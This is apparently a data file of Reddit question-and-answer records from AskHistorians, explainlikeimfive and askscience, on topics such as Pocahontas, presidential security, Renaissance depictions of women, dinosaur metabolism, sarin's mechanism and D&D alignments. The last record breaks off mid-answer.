{"q_id": "1oukjs", "title": "What would have motivated Pocahontas to want to marry John Rolfe? Vice versa?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1oukjs/what_would_have_motivated_pocahontas_to_want_to/", "answers": {"a_id": ["ccweq7g"], "score": [2], "text": ["Matoaka, or Pocahontas, had been kidnapped by the settlers of Jamestown as part of a back-and-forth with the Powhatan Confederacy. During that time, she became Christianized and acted as an intermediary between her people and the colonists. \n\nWhat motivated her to marry John Rolfe? There might be a complex web of motivations; \"Stockholm Syndrome\" where she identified with her captors, some genuine affection (though probably not \"love\") for Rolfe, or for political reasons since Rolfe was wealthy and a member in good standing with the Jamestown residents (or even some melange of all three). Women were often used as political intermediaries in interactions between colonists and Native tribes (see _URL_0_ ) so it would not have been unheard of a woman of her stature to be used in such a high-profile political marriage, regardless of her personal feelings. \n\nOne of the things we have to forget here is the idea of love matches; romantic love leading to a marriage and \"happily ever-after\" are a construct of *our* time, not hers. True love matches were few and far between, especially as one moved up the social ladder. Many marriages were performed not because a man loves a woman (or vice-versa), but because property was at stake and a marriage was seen as a way to cement the agreement in a (theoretically) permanent way. Even poor people looked for marriages which increased their material wealth or offered them entreport into a better family. It wasn't really until the early- to mid-19th century that the idea of a romantic love as the basis for marriage really became commonplace. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jstor.org/discover/10.2307/482389?uid=3739840&amp;uid=2&amp;uid=4&amp;uid=3739256&amp;sid=21102785804601"]]}
{"q_id": "1bqyi6", "title": "How accessible were presidents and foreign leaders before the advent of modern media? How available did leaders make themselves to the public?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1bqyi6/how_accessible_were_presidents_and_foreign/", "answers": {"a_id": ["c99f3jy"], "score": [10], "text": ["I can only speak about US presidents, and a discussion of accessibility to them is primarily a discussion of the development of presidential protection policies...\n\nPrior to the civil war, it was commonplace for presidents to have little to no protection; they roamed freely about the capital. It's a tale as old as time that leaders will be subject to hostility from their subjects, and presidents of  this era were no different - often in the form of letters or heckling when in public - but there was little fear of these threats being legitimately dangerous. The exception was of course Andrew Jackson, who was both physically assaulted and a few years later nearly assassinated at gun point (both of the assassin's pistols misfired), but this still didn't precipitate any changes in protection protocol. Nearly a decade later John Tyler had rocks thrown at him, and this inspired an \"auxiliary watch\" to protect public buildings in Washington, but not a service to protect the president. Still, presidents strode freely about and were generally accessible to the public when doing so.\n\nLincoln was fairly constantly subject to threats during his time in office, for reasons that are obvious. Up to and including Lincoln, most presidents felt that any sort of protection corps was an impediment to their direct interaction with the people, and to the people's freedom to access their leader. Even with constant threats, Lincoln's protection vacillated during the war - his inauguration featured military presence, and by the end of the war he had 4 policeman that were fairly consistently present.\n\nAfter his assassination, it would seem to our eyes that a need for a protection corps was staggeringly obvious; still, however, none was instituted, as it was judged that the assassination was a product of the unique environment of post-Civil War society and not a threat universal to all presidencies.\n\nAt about the same time (1865), the Secret Service was created to handle growing counterfeiting concerns (why it was and still is a part of the Treasury Department). Garfield was assassinated in 1881, but this still did not produce any significant change in protection policies.\n\nWith Grover Cleveland's administration came a torrent of threats to a degree unseen since Lincoln's presidency. Ms. Cleveland successfully rallied for a nine-fold increase in the White House police protection corps (from 3 to 27) and in 1894 the US Secret Service started informally providing protection after a plot to assassinate Cleveland was uncovered.\n\nThis change in protection protocol, as well as the assassinations of several European heads of state in the first two decades of the 20th Century, precipitated a significant increase in the protection retenue of the US president, and a consequent reduction in the accessibility of US presidents to the public.\n\nIn 1901, McKinley was assassinated in Buffalo, NY. It was the third assassination in less than 40 years, and the nation began to become more aware of the significance of the presidential office and the threats it could face. This shift in public sentiment ultimately led to, in 1902, the Secret Service being deemed the primary protection cadre of the president. This established the model of presidential protection (and isolation), and presidential accessibility mediated by media, that exists to today.\n\nSource: Warren Commission Reports on the Assassination of President John F. Kennedy, Appendix 7\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.archives.gov/research/jfk/warren-commission-report/appendix7.html"]]}
{"q_id": "4fhtij", "title": "Did most women, as depicted in many renaissance paintings and sculptures, really have mostly a smaller bust?", "selftext": "Was this simply a beauty standard and that all females being painted requested that their breasts be painted appropriately?\n\nFurthermore, I also observe that most breast sizes are almost exactly the same with very little variation, whereas body-type may fluctuate.\n\nIs this similar to the generic \"David Sculpture\" body that is pretty much always used for most male sculptures? Or am I wrong on this point as well?\n\n**Edit:**\n\nFrom the amount of upvotes I assume that this is a question that many others find interesting and worth while to find the answer. Firstly, sorry for the poorly worded question, as I realized this too late. Second, even though I welcome the apparent humorous side of my question, it was a serious one from my side. It is puzzling to me that body shape/size was variable across the arts, while the breast size was not. I simply wonder if this was because this was the *actual* norm female breast shape/size of the times, or whether this was \"enforced\" beauty standards.\n\nThank you in advance for the answers as well as the attempts that may have been removed as I understand that this question may be difficult to answer.\n\n\n**Edit:**\n\nWow! Thank you for the answers! They were really interesting, as well as educating, to an \"average Joe\" like me. In particular thank you to /u/explicit_snark and /u/Fairwhetherfriend who, combined, gave me exactly the answers I need.\n\n**Final Edit:**\n\nAlso, and I apologise for the amount of edits, I want to thank the mods who, I am sure, had their work cut out for them with this slightly controversial question. You guys are doing a great job!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4fhtij/did_most_women_as_depicted_in_many_renaissance/", "answers": {"a_id": ["d298amg", "d298rw7", "d29bk1n", "d29hmoz", "d29qj57"], "score": [1042, 158, 65, 23, 83], "text": ["This question is a tricky one to answer, as it is hard to make any generalizations when it comes to how artists were influenced to depict their subjects on canvas or in stone, as many different factors would have went into the artist's choice. \n\nGoing back to the roots of art in history, we see pieces such as the [*Venus of Willendorf*](_URL_0_) which depict feminine beauty as being derived from a woman's heavy weight and large breasts. It is believed that, during the time of this statuette's creation over twenty thousand years ago (28,000-25,000 BCE), a woman of this body type would have had a greater chance of bearing healthy children from birth into adulthood due to her nourishment. However, it is hard to pinpoint any specific details on pieces this old, as no literature exists to corroborate these facts, making them educated guesses, which are often avoided in the field of art history when necessary. \n\nWe see a shift from this larger, Rubenesque definition of beauty to a somewhat more contemporary idea of beauty rise from the ancient Greeks (800-600 BCE). The Greeks were one of the first to derive beauty in mathematics, and look at beauty as more of a scientific phenomenon than any sort of  opinion. This is more clearly seen in ancient Greek architecture, where the tenants of balance, order, and symmetry were seen as being the major three building blocks of pure beauty. Plato would be the first philosopher to bring this idea of beauty in architecture over to beauty in humans, believing that men and women whose body parts were proportionate to one another had achieved pure beauty in their appearance. This would disqualify the *Venus of Willendorf* from being considered beautiful in the eyes of the Greeks, as her larger body was disproportionate in a way the Greeks considered chaotic. \n\nWith the Greeks also came the importance of the athletic physique, which is still very much alive in our society today. Rather than celebrating the heavy weight and large breasts which the people of the paleolithic era would have found healthy in bearing children, the Greeks celebrated the muscle and strength of the athletic body, most notably in athletic competitions such as the Olympics. This type of athletic beauty is perfectly depicted in the ancient Greek sculptor Praxiteles' [*Aphrodite of Knidos*](_URL_1_) (c. 400 BCE), where we see a slender and fit Aphrodite displaying the Greek's ideas of a perfect athletic beauty. Her smaller breasts are in proportion with her wide hips, as well as her shoulders, a stark contrast of beauty in comparison with the *Venus of Willendorf*. \n\nIn the art of the Romans, we see a continuation of the \"perfection\" in the art of the ancient Greeks. The Romans felt that the Greeks had achieved perfection in their art, and sought to further this perfection in copying the sculpture and architecture of the Greeks. Renaissance Europe would continue in very much the same way, with the elite during the Renaissance feeling that the perfection of the Greeks and the Romans could not be matched, with the various European civilizations seeking to replicate the perfection their Greek and Roman forefathers had achieved. The Greek ideas of beauty would be carried over as well, with the Roman's and later the civilizations of Renaissance Europe finding the athletic, fit bodies of Greek sculpture to be the epitome of perfection and beauty. \n\nI hope I have answered your question, if I have not feel free to ask any follow-ups you'd like and I'll to my best to clarify.  \n\n**Sources:** \n\n* Adovasio, J. M., Olga Soffer, and Jake Page. *The Invisible Sex: Uncovering the True Roles of Women in Prehistory*. Walnut Creek, CA: Left Coast Press, 2007.\n\n* Eco, Umberto, and Alastair McEwen. *History of Beauty*. New York, NY: Rizzoli, 2010.\n\n* Gero, Joan M., and Margaret Wright Conkey. *Engendering Archaeology: Women and Prehistory*. Oxford, UK: B. Blackwell, 1991.\n\n* Havelock, Christine Mitchell. *The Aphrodite of Knidos and Her Successors: A Historical Review of the Female Nude in Greek Art*. Ann Arbor, MI: University of Michigan Press, 2007.\n\n* Plato. *Phaedrus*. Translated by Alexander Nehamas. Edited by Paul Woodruff. Indianapolis, IL: Hackett, 1995.\n\n* Seife, Charles. *Zero: The Biography of a Dangerous Idea*. New York, NY: Viking, 2000.\n\n* Vasari, Giorgio. *The Lives of the Artists*. Edited by Julia C. Bondanella and Peter E. Bondanella. Oxford, UK: Oxford University Press, 1998.\n\nEdit: Dates and formatting. ", "In general, yes, the small-ish sizes of women's breasts can be attributed to a certain ideal.\n\n\"Renaissance\" literally translates to \"rebirth\" - in other words, the rebirth of the Classical ideals in art. It's why it's weirdly difficult for the uninitiated to differentiate between sculptures created during the height of the Classical era and during the height of the Renaissance: they look intentionally similar. Which, among other things, included a certain idealization of both the male and female figures.\n\nConsider that it might be strange for a society like those of the 14th to 17th centuries, which we might consider comparatively prudish, to so consistently paint nude women. The key here is that the paintings were almost always of goddesses or, sometimes, of a specific person as a goddess. This is why there are an absolutely ridiculous number of paintings from this period, all of naked women and all titled after Venus. The very concept of painting a \"real\" woman naked was scandalous. For example, take [Manet's Olympia](_URL_2_) (which, incidentally, was technically painted outside the range of the Renaissance period, but I assume you're using the colloquial definition to refer to pretty much all paintings that aren't modern art rather than the technical definition), and compare her to the [Venus of Urbino](_URL_0_). I think it's fair to assume your average viewer would look at those and not see much of a difference, beyond the basic reaction that the Venus is somewhat more pleasant to look at. However, it's important to note that these two paintings, despite the fact that they're intentionally very similar, received *drastically* different receptions from the public. The Venus was considered a masterwork while the Olympia was [incredibly offensive](_URL_1_). Why? Because Olympia was a real woman - a prostitute, in fact - and the Venus was, well, Venus. \n\nSo, the fact that the great majority of these works depicted goddesses makes it, then, somewhat less surprising that they'd all adhere to the same ideal figure. Even those that didn't (like the Olympia) were often plays on previous paintings (Olympia was a direct response to the Venus of Urbino, for example) and hence maintained a similar figure for the purposes of drawing on the similarity to make a point.", "What constitutes a smaller or larger bust? Smaller or larger than what?\n\nDoes [Giorgione's Portrait of a Young Woman](_URL_3_) represent a \"larger\" or \"smaller\" bust? Relative to what?\n\nMore broadly, what do you mean by the Renaissance, which encompassed so many cultures each with their own standards of beauty and artistic traditions? \n\nAnd the bust measured how--in what context? Nude? Or clothed in costume that presents the body, compresses or emphasizes the bust so differently in different cultures and social contexts?\n\nIs [Titian's Woman with a Mirror](_URL_5_)  a \"smaller bust\"? How can you tell?\n\n[Hans Baldung's The Seven Ages of Woman](_URL_6_) raises the question:\nHow old is the subject? Are we talking about the generic youthful body (the type usually associated with allegory, for example), or a middle-aged or elderly body?\n\nArt certainly represented the body as an ideal according to quantifiable canons of proportion, a subject on which D\u00fcrer wrote a book, extending classical traditions of canons of beauty. \n\nNot every body was intended to represented an ideal, as in Quentyn Matsys' so called [Ugly Duchess](_URL_10_). Genres mattered. [Portraits](_URL_4_)  operated according to different standards but always idealized or at least stylized the subject. \n\n\nThe truth is that a great many body types were depicted in Renaissance art. You are seeing a unity that just isn't there, for depictions of both male and female bodies:\n\n[Raphael La Formarina](_URL_1_)\n\n[Raphael, Solly Madonna](_URL_8_)\n\n[Jan Sanders van Hemessen, Judith](_URL_0_)\n\n[Bernardino Licinio, Portrait of a Lady](_URL_2_)\n\n[Bernardino Licinio, Portrait of a Lady]\n(_URL_9_)\n\nA classic juxtaposition of body ideals in the Italian Renaissance:\n\n[Donatello's David](_URL_11_)\n\n[Michelangelo's David](_URL_7_)\n", "Something else I've noticed, anecdotally, is that you never see female breasts with distinctly large areolas in pre-Renaissance/Renaissance art.  Actually, they're often very small.  Is there an explanation for this?  ", "In her book \"History of the Breast\" Marilyn Yalom makes, in my opinion, a very convincing argument that there was a stereotype of the small breasted noble woman, versus the large breasted commoner. The commoner might use her breasts for work (as a wet nurse) whereas the noble woman's breasts were preserved instead for beauty.  So the smaller bust ideal also led, in part, to the fashion of compressing the chest as flat as possible with a busk and \"pair of bodies\" which was the precursor to the corset. \n\nCombine this fashion and stereotype with the fact that subjects commissioning a painting of themselves rarely sat for more than the painting of their face. Paintings generally came out as an idealized version of the subject, sticking to the fashionable beauty ideals whenever possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Venus_of_Willendorf#/media/File:Venus_von_Willendorf_01.jpg", "https://en.wikipedia.org/wiki/Aphrodite_of_Cnidus#/media/File:Cnidus_Aphrodite_Altemps_Inv8619.jpg"], ["http://lh5.ggpht.com/c226SfByvwXQG6JDRSkNgrGyv9m1niCSGmmAHAYCTaJaUpxY8jrVkVGna5O3=s1200", "http://www.musee-orsay.fr/en/collections/works-in-focus/search/commentaire_id/olympia-7087.html", "http://lh5.ggpht.com/28awbvSGcvKdN8-M-5QMEzSrW9nUWCZh6iaE6JbqOUhtT8beP2xNCxbfDeM=s1200"], ["http://3.bp.blogspot.com/-OZdTPYW6hFQ/TgBYwbbDksI/AAAAAAAAAt4/dDowtas8SiA/s1600/hemessen_judith.jpg", "https://upload.wikimedia.org/wikipedia/commons/4/4c/Fornarina.jpg", "https://upload.wikimedia.org/wikipedia/commons/7/74/Bernardino_Licinio_027.jpg", "https://deyoung.famsf.org/files/styles/full-width_image_1200/public/GG_31_CD.jpg?itok=uLyj60AI", "https://en.wikipedia.org/wiki/Portrait_of_Elisabetta_Gonzaga#/media/File:Raffaello_-_ElisabettaGonzaga.jpg", "https://en.wikipedia.org/wiki/Woman_with_a_Mirror#/media/File:Portrait_d%27une_Femme_\u00e0_sa_Toilette,_by_Titian,_from_C2RMF_retouched.jpg", "https://upload.wikimedia.org/wikipedia/commons/0/07/Hans_Baldung_-_The_Seven_Ages_of_Woman_-_WGA01191.jpg", "https://upload.wikimedia.org/wikipedia/commons/2/24/%27David%27_by_Michelangelo_JBU0001.JPG", "https://en.wikipedia.org/wiki/Solly_Madonna#/media/File:1502_Raffael_Madonna_Solly_anagoria.JPG", "http://3.bp.blogspot.com/-yT4KMW2T20A/TzaLS7E3_tI/AAAAAAAA3e8/mzLpRmVOBYI/s640/7%2BBernardino%2BLicinio%2B%25281489-1565%2529%2BPortrait%2Bof%2Ba%2BLady%2B%25282%2529.jpg", "https://en.wikipedia.org/wiki/The_Ugly_Duchess", "https://upload.wikimedia.org/wikipedia/commons/7/7f/Florence_-_David_by_Donatello.jpg"], [], []]}
{"q_id": "2kt41h", "title": "why do the majority of indians and pakistanis have very strong body odour?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2kt41h/eli5why_do_the_majority_of_indians_and_pakistanis/", "answers": {"a_id": ["clofvlm", "clogo97", "cloh3w2", "cloieaw", "clp4spy"], "score": [45, 25, 12, 3, 2], "text": ["Everybody has a smell.\n\nPeople from that region have a very different diet to a Westerner - very spice-laden, fragrant food. This does influence how that person smells.\n\nNow, if you ask an Indian what they think a Westerner smells like, they'll tell you that we smell of milk.\n\nIn both cases, this is because the person's diet makes them smell noticeably different to the people that the person doing the smelling is used to. I don't notice the supposed milky smell of my fellow Westerners, because that's pretty much what I smell like too!", "This is one of the more insensitive questions I've seen on Reddit, but I'll answer it seriously anyway...\n\nFrom my own personal experience travelling, it is less common to use deodorant (or especially antiperspirant) in Asian countries. In fact, Asians have fewer apocrine sweat glands than Westerners do, so in general they smell better than Westerners would in the case of no deodorant, so most of the time it is fine. \n\nThe other issue is that certain foods affect your body odor. People from countries that eat a lot of meat or spices can end up with body odor that smells quite different from what you may be used to, which is likely the case with Indians. However, I have had Asians tell me that Westerners smell like babies because of how many milk products (cheese, yogurt, butter, etc.) we consume compared to East Asians. One guy said I smell like warm milk to him, so it is quite possible that some Westerners give the same reaction to Asians at times. \n\nAnother aspect of this is that Western and East Asian ideas of cleanliness are a bit different. In Japan and China most people will take a shower or bath as soon as they come home from work, since they feel they got the dirtiest from the outside world. They want to keep their homes clean (this is also why shoes are not worn inside) so they focus on cleanliness there. They usually don't have a shower in the morning, since the outside world is not as important as home cleanliness. In the West, we tend to have a morning shower before we go outside so we appear fresh to the rest of the world and then don't care about whether we stink at home or wear sneakers on the carpet. As a result, in the West people usually have had a shower more recently when you interact when them outside their home, while in Asia it may be almost 24 hours since their last shower in an evening interaction outside the home. \n\nTl;dr: Sweat glands, diet, culture.", "It's not that 'they' have a strong body odor.  It's they have a different body odor than you do.  You are desensitized to your own odor, and they are desensitized to their odor.\n\nWhen I worked in a burger place in high school, I couldn't smell the grease after a while.  I couldn't taste the burgers after a few months.  \n\nIn Boot camp, when I was around nothing but men for 3 months, you don't realize that there is a distinctive smell that you  &  everyone around you acquires.  Same with living in the desert.  You just start to forget to smell the 'funk.'\n\n", "Certain foods absolutely affect your body odor. Fenugreek for instance is very common in Indian food. I'm a white guy who has been eating a ton of raw fenugreek as a supplement and can say that my body odor has changed DRAMATICALLY. Fenugreek has sort of a maple-y scent, and when I sweat the smell is similar. When I sweat a LOT, the smell is less sweet and more spicy. I'm used to it now and barely notice, but what I do notice is how much stronger white people smell to me...very onion-y, for comparison.", "I have to agree I have noticed this.\n\nHowever, in China, people tell me that westerners like me smell like \"milk\".\n\nPerhaps it's like the fish in the water thing - when you're surrounded by it, it just fades from awareness.\n\nBut when you're surrounded by people who smell differently, your difference stands out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3hvbk3", "title": "reptiles are cold blooded and birds are warm blooded. but aren't birds decendants of dinosaurs, e.g. reptiles? were dinosaurs cold blooded or warm blooded? were dinosaurs even reptiles?!", "selftext": "my brain hurts", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hvbk3/eli5_reptiles_are_cold_blooded_and_birds_are_warm/", "answers": {"a_id": ["cuauyh8", "cuavhyl", "cub13qx"], "score": [9, 3, 4], "text": ["From Wikipedia:\n\n > Although the word dinosaur means \"terrible lizard\", the name is somewhat misleading, as dinosaurs are not lizards. Instead, they represent a separate group of reptiles that, like many extinct forms, did not exhibit characteristics traditionally seen as reptilian, such as a sprawling limb posture or ectothermy.\n\nEctothermy being \"cold-blooded\".\n\nThey were reptiles - sort of - but modern reptiles don't have their qualities. Their ancestors today that do share those traits have become birds.", "Dinosaurs are their own characterisation of animal. So were not reptiles, nor were they birds. For example: if all the reptiles today went extinct we wouldn't label them amphibians or anything. *Dinosaurs are dinosaurs.*\n\n\nAs to their blood, well, that's up for debate. There is evidence for both. Some scientists believe they were neither but took characteristics from both. They were not slow lumbering lazy creatures like cold-blooded suggests, however due to their size to keep up with the energy they needed they would need vasts amount of food. Growth rates were inconsistent with either blood type. There is evidence to suggest that like sharks and turtles they can control their body temperature. [ ^^\\[1\\]](_URL_0_) At any rate, animals have evolved since so to label them with the labels we have for the animals today maybe inaccurate. \n\n*The short answer: We don't know. Or they're neither.* ", "The term \"reptile\" may seem reasonable to us from a modern perspective, but in terms of evolution it doesn't mean much. Modern birds, mammals, and reptiles all developed from a common ancestor, and they didn't split apart that early. Crocodiles are closer to birds than they are to lizards. The ancestral groups that lead to mammals are all extinct, but if you want to classify them, it's problematic. We could say that reptiles are all descendants of that common ancestor except for birds and mammals, but at that point you're just imposing an artificial construct, and it's hard to make any generalizations about the group.\n\nAs for warm/cold blooded, the fact that birds are warm-blooded is no more surprising than the fact that we are. It's just an adaptation for a different lifestyle, and both of us probably went through several intermediary stages. Dinosaurs were one of them. Given that dinosaurs were a large and diverse group, they probably had multiple different kinds of metabolism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://blogs.discovermagazine.com/d-brief/2015/06/01/were-dinosaurs-warm-blooded/#.VddeJvlVhBd"], []]}
{"q_id": "14eh6l", "title": "Understanding Sarin.", "selftext": "Somewhat recently, US news has reported that Syria \"has loaded the precursor chemicals for sarin, a deadly nerve gas, into aerial bombs.\" \n\nTo better understand the severity, can someone please explain the biological/chemical interactions with \"nerve gas\" and the molecular reactions? \n\n- This is **not** a post for opinions on current events \n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14eh6l/understanding_sarin/", "answers": {"a_id": ["c7ccn3a"], "score": [10], "text": ["Sarin is a cholinesterase inhibitor.\n\nNormally, muscles are given the signal to contract by neurons. These neurons convey the signal by releasing acetylcholine (ACh), which acts on receptors on the muscle cells and induce contraction. However, to prevent continuous signalling, ACh is quickly degraded (within milliseconds) by the enzyme cholinesterase. What Sarin does is it blocks the effect of cholinesterase. This prevents ACh from being broken down and, thus, it continues to exhibit a constant contractile effect on the muscle. As long as the ACh works the muscles cannot relax again, so Sarin works by causing permanent contraction of muscles and, in effect, paralysis."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1wexr2", "title": "dungeons and dragons alignments.", "selftext": "Hey this is my first time asking something on Reddit and i hope I ask this well. I've been a player of D & D for about a year now, and when i first started my uncle who introduced me to it walked me through the basics and when we got to alignments he told me it wasn't important unless I played a priest or a paladin so I never bothered. With the group i played with before rp (role playing) wasn't as big a deal. But now with my new group i wanted to play a cleric and looking in on it seems like more of a big deal with certain classes. So i've looked around and I still don't have a good idea on how this works.\nI understand law-full good and Chaotic evil but the others i really don't understand how they work. True Neutral really confuses me with the whole maintain balance thing in the rule book. Also how is law-full evil even a thing?  If it makes a difference we are playing advanced D & D 3rd addition. If someone can explain this to me in a simple way I would appreciate it. Thanks in advance.\n\nEdit: O.K. With the help of everyone here i think i have a fair understanding of it all. I hope this helps out others as confused as i was on this. Thanks everyone for the fast responses. :)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wexr2/eli5dungeons_and_dragons_alignments/", "answers": {"a_id": ["cf1c9yb", "cf1co6z", "cf1di0m", "cf1ghbn", "cf1iagu"], "score": [29, 4, 6, 2, 2], "text": ["Lawful good does good things but follows the rules. Think goody two shoes. Chaotic good does the right thing regardless of the rules. Think robin hood. Neutral good is somewhere in between.\n\nLawful neutral just sees rules, and follows them regardless of what they say. Think Supreme Court. Chaotic neutral does whatever it wants. Think what the Joker thinks of himself. True neutral just doesn't care.\n\nLawful evil does bad things but in an organized way. Think dictator. Chaotic evil does bad things randomly. Think serial killer. Neutral evil is in between.", "The two parts of the alignment can be taken sort of independently. The Lawful/Neutral/Chaotic part is about how your character views authority and law. A Lawful character respects the law of the land and authority, but a Chaotic character might see the law as corrupt or the royalty or aristocrats as being selfish and not interested in the well-being of the realm.\n\nThe second part, good/neutral/evil, is more the traditional sense of good vs. evil. A good person likes helping people, doing the right thing, etc. An evil person likes murder, deception, and the like.\n\nSo Robin Hood would probably be Chaotic Good. Someone who follows the law but tries to exploit people to their own advantage within the confines of those laws would be Lawful Evil. The difference between Neutral (in the first part) and Chaotic I've always taken to be that Chaotic characters actively try to break the law, whereas Neutral characters just don't even think about the law. They might follow it or might not, it just depends whether those laws get in the way of what their other goals are.", "Remember first that alignments are not just defining, they are aspirational.  They describe what your character is trying to be, and how they see themselves.  They may occasionally fail to live up to their alignment (or even change it over time), but it's their center, and where they want to be, or feel they have no choice but to be. \n\n**Law/Chaos Axis**\n\n**Lawful** means that you value order. Order can take the form of the actual law, or a personal code, or a religious hierarchy, but the character believes that things work better when there is some set of rules that tell people how to behave.  \n\n**Chaotic** means that you value freedom.  This can mean anarchy, or chaos, or randomness, or \"might makes right,\" but the character believes that things work better when they are left on their own, when, if there is going to be some kind of leadership or ownership, it's ad hoc and not based on some dusty old rule.  \n\n**Neutral** here means you fall in between.  Sometimes you value rules, sometimes you can see where more freedom would be better. \n\n**Good/Evil Axis**\n\n**Good** is belief in self-sacrifice and treating others with respect.  It can mean donating to charity, or taking on dangerous adventures to rid the world of dangers, or just being the kind of person that let's the little kid steal the apple because you know the kid is hungry. \n\n**Evil** is selfishness and cruelty.  It's putting yourself, or your goals, ahead of other beings either because you don't care about their suffering, or because you actively delight in it. \n\n**Neutral** here means that you're like a standard person. You might want to do good, but you don't necessarily sacrifice just to make sure that good happens. Every once in a while you might delight in suffering, or go to far and hurt someone else, but you feel bad about it afterwords. \n\n**True Neutral** when you're both neutral this can take one of two forms.  You can be like a stereotypical zen monk, committed to the *IDEA* of neutrality. This basically means that you think that good and evil, chaos and law, both need to exist, but in balance.  You work to ensure that balance, and you try to see all sides.  In behavior you are even handed.  The other version of true neutral is just being a regular person, not too much of one, not too much of the other. \n\n  ", "First of all, it's important to recognize that there are as many perspectives on D & D alignment as there are on real-world morality. Any particular interpretation will have proponent and detractors, because an alignment system is an inherently messy way to simplify a complex topic into two simple scales. I'll try to offer a more well-rounded perspective.\n\nA **Lawful** character is one who \"follows the rules\". But this merely raises the question: *what* rules? The rules of society? A nation's laws? The laws of whichever nation you happen to be in? A personal code or set of principles? It depends on the character. A paladin is lawful because he hews to a strict moral code, whereas a ruthless tyrant is lawful because he seeks to impose order on those he rules. A good guiding principle is that a lawful character seeks *structure*. He may wish to make his environment more orderly, as the evil tyrant or the good king, or he may be content to maintain order in his own life or even within his own mind. A lawful adventurer may still thrive on new experiences, and still meet his challenges in a methodical manner.\n\nA **Chaotic** character, by contrast, prefers to keep his options open. The stereotype is that chaotic characters are loose cannons, but this need not be so. A chaotic character is most comfortable when he is unencumbered by obligations and restrictions. As with a lawful character, he may or may not feel like \"spreading the chaos\". He may feel that the rules of society are stifling or restrictive, or he may find that they provide a satisfactory framework in which to pursue his inclinations. He may find that a highly structured environment offends his sensibilities, or he may be content to live and let live. He may even find a little order to be an interesting diversion.\n\nA neutral character (with respect to law and chaos) is somewhere in the middle. His comfort zone is somewhere in the middle \u2013 where the average person's might be.\n\nA *Good** character is one who goes out of their way to help others. He may feel that to do so is his obligation, or the obligation of all; or he may be working to create a better world for his loved ones or community; or he may simply find joy or personal satisfaction in altruism. As with law and chaos, goodness is a range on a continuum \u2013 a good character goes above and beyond the call of duty in his service to his fellow man(/dwarf/centaur/\u2026).\n\nAn **Evil** character is defined by a double-negative \u2013 what they are not unwilling to do. An evil character is willing to harm others for his own sake, cheating, stealing, or hurting people. It is important to note that an evil character is not generally motivated \"for the evulz\". The evil character is simply unfettered by moral concerns in the pursuit of his goals.\n\nA neutral character with respect to good and evil is about as good as the average person. Most people are basically decent, but won't put themselves or their comforts at too much risk under normal circumstances. Extraordinary circumstances, of course, can drive an ordinary person to either heroism or villainy, just as it can cause one to take refuge in order or individuality.", "For yet another way of putting it, with some more-or-less representative examples: \n\nLawful Good - Upholds the law (even if he doesn't necessarily agree with it personally), tries to do good things. Note that LG does not equal nice, and, to some people, \"kill any being whom they THINK is evil\" = \"do good.\" ex: Superman.\n\nLawful Neutral - The law is the law is the law; it doesn't matter if the law is just or fair -- it's the law and it WILL be followed. PERIOD. ex: Judge Dredd.\n\nLawful Evil - Often a nasty person, but not necessarily. May have a code they follow (tho said code may be twisted by the standards of a LG character), and they will go to great lengths to stick to it. Often a \"The ends justify the means\" type -- if they give their word, it gets done, and Heaven help anyone who gets in their way. Will have no problem following the *letter* of the law, rather than the *spirit* or intended meaning. ex: Lobo\n\nNeutral Good - Generally a good person, someone who is likely to help those in need; really could not care less what the law says, but often has no problem going along with laws if violating them would hurt innocents, or simply to maintain the status quo. Beyond that, a free spirit who may be out hunting down some king's soldiers who have been known to hurt innocents one day, and robbing a corrupt merchant to get money to give to poor kids the next. \n\nTrue Neutral - In older versions of D & D, this type was very nearly of the \"I have to flip a coin before I do ANYTHING requiring a judgment call\" -- this has been softened since then. ex of the \"old version\": Eh...Well, picture an extreme version of Two-Face's condition, such that if he literally could not function at all without his special coin, using it for every possible decision, even ones which a person would normally just *do*, like taking a shower or having a meal at dinnertime.\n\nNeutral Evil - Basically bad just for the sake of being bad. Neither anti-authority per se, nor a follower. ex: Your basic hired thug. He gets paid to do bad things and that's fine by him.\n\nChaotic Good - Good person, but chafes at authority, doesn't like being told what to do. ex: Han Solo \n\nChaotic Neutral - No regard for law and order. Often a force for chaos; always out for number one. Another user said it perfectly. The Joker.\n\nChaotic Evil - Completely, utterly, often irredeemably evil and loving it. ex: Any character who just loves to kill for the sake of killing, with no regard to the victim or the consequences. Will just as soon blow away a puppy dog as the guy who's paying him (even before being paid!), just because the mood comes over him."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "f8yxj2", "title": "I'm living 3000 years ago, anywhere in the world. How did I deal with caring for my toenails so they didn't get out if hand?", "selftext": "I was just thinking this question as I was clipping my toenails. (Sorry, a bit gross I know.)\n\nBut how did they control...it. Was it something to do with gravel sanding them down, or did they file them? I guess the same applies for fingernails (Which maybe were a bit easier to deal with). But toenails need maintenance, how did they do?  \n\nI understand that before shoes it probably took care of itself, but I'm interested in after that :-)\n\nThank you for answering if you can! I know it's a bit if an odd question!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f8yxj2/im_living_3000_years_ago_anywhere_in_the_world/", "answers": {"a_id": ["fior1tu", "fiopxlj"], "score": [1163, 75], "text": ["Thanks to /u/Iphikrates for the tag! Here's my [earlier answer](_URL_0_)!\n\nIt is free to bite your nails and, more to the point, quite standard for nails to break off in the course of even light manual labor. So in some premodern societies where status is less based on conspicuous consumption than today, one of the things archaeologists have observed is that nail-grooming actually becomes a status symbol! \n\nEamon Kelly makes this case for early Ireland especially off the \"bog bodies\" found in Ireland and a few other places. ~~Clonycavan~~ Old Croghan Man, who was (archaeologists argue) sacrificed in the 300s, was found with nicely manicured 